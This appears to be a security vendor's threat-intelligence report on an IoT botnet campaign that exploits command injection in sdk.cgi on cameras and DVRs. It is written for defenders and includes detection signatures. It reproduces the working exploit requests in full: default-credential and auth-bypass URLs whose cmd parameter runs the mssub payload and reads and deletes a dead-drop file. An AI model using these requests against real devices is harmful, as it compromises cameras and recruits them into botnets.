Operation DARK LENS

Between January and March 2026, Mjolnir Security's Threat Analysis Center (MTAC) observed a sustained IoT exploitation campaign targeting internet-exposed surveillance cameras and DVR systems worldwide. Using MTAC proprietary threat intelligence sensors and darknet monitoring infrastructure, over a 90-day window, we recorded 22,423 exploitation events targeting 545 victim devices across 13 countries, leveraging the sdk.cgi debug command injection vulnerability class to deploy the mssub payload binary. The campaign uses a dead-drop command-and-control mechanism via /tmp/.pushmsg, and our netflow analysis uncovered 60,180 communication records spanning approximately one year of persistent C2 beaconing — confirming this is not opportunistic scanning but an orchestrated, long-running botnet recruitment operation.

Campaign Statistics

The Exploit: sdk.cgi Command Injection

The vulnerability exploited in this campaign is a command injection flaw in the sdk.cgi debug interface present in numerous IP camera and DVR firmware implementations. This is not a single CVE but rather a vulnerability class — a design pattern repeated across dozens of manufacturers who share common OEM firmware lineages. The sdk.cgi endpoint accepts arbitrary shell commands through HTTP request parameters, originally intended for factory debugging and firmware development.

GET http://[TARGET_IP]:[PORT]/sdk.cgi?action=getSysteminfo&loginuse=admin&loginpas=admin&cmd=chmod 755 /tmp/mssub;/tmp/mssub

// Authentication bypass via default credentials (admin:admin)
// The cmd parameter accepts arbitrary shell commands with root privileges
// No input sanitization, no authentication enforcement on debug endpoints

GET http://[TARGET_IP]:[PORT]/sdk.cgi?action=get.webserver.debug.cmd&cmd={ { chmod 755 /opt/app/bin/mssub; } 2>&1; }&auth_p=get.system.language.json

// Secondary auth bypass via auth_p parameter referencing get.system.language.json endpoint
// Payload path: /opt/app/bin/ — the standard application directory on embedded Linux camera firmware
// bash error-redirect wrapper { { ...; } 2>&1; } suppresses stderr and handles execution errors silently
// Indicates operators have intimate knowledge of the target device's filesystem layout

MTAC sensors detected two distinct exploit variants. Variant A uses default credentials (admin:admin) against the getSysteminfo action and places the payload in /tmp/. Variant B is more sophisticated: it uses the get.webserver.debug.cmd action with an auth_p bypass parameter pointing to the get.system.language.json endpoint (which leaks session tokens without valid credentials) and targets /opt/app/bin/ — the standard application directory on embedded Linux camera firmware. This is not a zero-day — it is a design flaw baked into the firmware development lifecycle of OEM camera platforms that has persisted for years across product generations.

Related Research

This vulnerability class has been extensively documented by the security research community. Akamai's InfectedSlurs research identified Mirai variants exploiting similar sdk.cgi flaws in late 2023. Fortinet documented Moobot targeting Hikvision camera vulnerabilities (CVE-2021-36260) using comparable command injection techniques. More recently, the Nexcorium Mirai variant has been observed exploiting CVE-2025-1316 in Edimax IP cameras, and Akamai published research on active exploitation of Edimax cameras via command injection in early 2025. The campaign we document here represents the latest evolution of this persistent IoT threat vector.

Two Attack Phases

The 22,423 exploitation events decompose into two distinct operational phases, each serving a specific function in the botnet recruitment lifecycle.

cmd=chmod 755 /tmp/mssub;/tmp/mssub

// Variant A: payload placed in /tmp/ (volatile, wiped on reboot)
// mssub: Mirai-derivative botnet client, ARM/MIPS compiled

// Variant B (MTAC-detected, auth_p bypass):
cmd={ { chmod 755 /opt/app/bin/mssub; } 2>&1; }
// Payload in /opt/app/bin/ — standard firmware app directory, survives reboots
// Bash error-redirect wrapper suppresses stderr for silent execution
// Note: prior wget/curl download stage delivers mssub to target; this stage was not captured by sensors

cmd=cat /tmp/.pushmsg; rm -f /tmp/.pushmsg

// Reads pending C2 instructions from the dead-drop file
// Immediately deletes the file to destroy forensic evidence
// Atomic read-and-delete prevents detection by file monitors

// Variant B (MTAC-detected, with bash error-redirect wrapper):
cmd={ { cat /tmp/.pushmsg; rm -f /tmp/.pushmsg; } 2>&1; }
// .pushmsg: hidden file (dot-prefix) in volatile /tmp directory

The remaining 9,239 events (41.2%) consist of reconnaissance probes, authentication attempts, and variant exploitation payloads targeting related firmware endpoints. The two primary phases together account for 58.8% of all observed exploitation activity, confirming the campaign's focused operational methodology.

The 545 Victim Devices

The campaign targeted 545 unique IP addresses hosting vulnerable surveillance devices. Analysis reveals a highly concentrated targeting pattern, with the top 12 devices receiving the majority of exploitation events.

Top Targeted Devices

Geographic Distribution

Target Port Analysis

One Year of Communication: The Netflow Evidence

Beyond the 90-day exploitation window, our netflow analysis uncovered 60,180 communication records spanning approximately one year of activity. These records reveal persistent C2 beaconing patterns from compromised devices, confirming that successfully recruited devices maintain long-term communication with the botnet infrastructure.

The netflow data paints a picture of a mature, operationally active botnet with multiple potential use cases:

• DDoS Amplification: Compromised cameras serve as high-bandwidth reflectors for volumetric DDoS attacks. Many surveillance devices have dedicated upstream bandwidth allocations that make them ideal DDoS nodes.
• Proxy Services: Recruited devices function as residential proxy endpoints, providing clean IP addresses for credential stuffing, ad fraud, and anonymized access to restricted services.
• Cryptomining: While IoT devices have limited compute resources, the aggregate hashrate of 545+ devices provides non-trivial mining capacity, particularly for CPU-friendly algorithms.
• Lateral Movement: Compromised cameras on corporate networks serve as pivot points for deeper network penetration. Surveillance devices are frequently deployed on flat networks with minimal segmentation from critical infrastructure.

The Broader IoT Botnet Landscape

Operation DARK LENS exists within a well-documented lineage of IoT botnet campaigns that have evolved significantly since the original Mirai source code leak in 2016. Understanding this context is essential for assessing the threat's trajectory.

The evolution from Mirai's simple telnet credential stuffing to DARK LENS's targeted exploitation of specific firmware vulnerabilities with dead-drop C2 demonstrates the increasing sophistication of IoT botnet operators. These campaigns are no longer the domain of script kiddies — they represent organized, persistent threat operations with clear monetization strategies.

Temporal Analysis

The 90-day exploitation window reveals distinct operational patterns rather than continuous scanning. Activity occurs in burst patterns with periods of relative quiet between campaigns, suggesting orchestrated operational tempo rather than always-on automated scanning.

The February-March 2026 period represents the campaign's peak intensity, with exploitation events increasing by approximately 340% compared to the preceding weeks. This burst correlates with the public disclosure of several related IoT vulnerabilities and the release of updated Mirai variant source code in underground forums.

The netflow data extending back approximately one year confirms that while the exploitation campaigns are periodic, the C2 communication is continuous. Once a device is recruited, it maintains its beaconing regardless of whether new exploitation activity is occurring. This bifurcation between recruitment operations and operational maintenance is a hallmark of mature botnet infrastructure.

MITRE ATT&CK Mapping

Indicators of Compromise

Exploit URL Patterns

GET /sdk.cgi?action=getSysteminfo&loginuse=admin&loginpas=admin&cmd=chmod%20755%20/tmp/mssub;/tmp/mssub
GET /sdk.cgi?action=getSysteminfo&loginuse=admin&loginpas=admin&cmd=cat%20/tmp/.pushmsg;rm%20-f%20/tmp/.pushmsg

GET /sdk.cgi?action=get.webserver.debug.cmd&cmd=%7b+%7b+chmod+755+/opt/app/bin/mssub%3b+%7d+2%3e%261%3b+%7d&auth_p=get.system.language.json
GET /sdk.cgi?action=get.webserver.debug.cmd&cmd=%7b+%7b+cat+/tmp/.pushmsg%3b+rm+-f+/tmp/.pushmsg%3b+%7d+2%3e%261%3b+%7d&auth_p=get.system.language.json

Network and File Indicators

MTAC Per-Device Victim IPs (Sensor Data)

Detection Signatures

• HTTP Request (Variant A): Alert on any request containing sdk.cgi with a cmd= parameter
• HTTP Request (Variant B): Alert on requests to sdk.cgi containing action=get.webserver.debug.cmd or auth_p=get.system.language.json
• File System: Monitor for creation of /tmp/mssub, /tmp/.pushmsg, or any reference to /opt/app/bin/mssub in HTTP traffic or filesystem
• Network: Alert on outbound connections from camera/DVR VLANs to non-whitelisted external IPs on ports 80, 443, 8080
• DNS: Monitor for DNS resolution attempts from IoT device subnets — legitimate cameras rarely perform DNS lookups beyond their NVR/VMS server
• Netflow: Flag IoT devices exhibiting periodic beaconing patterns (45-60 second intervals) to external hosts

How Mjolnir Security Can Help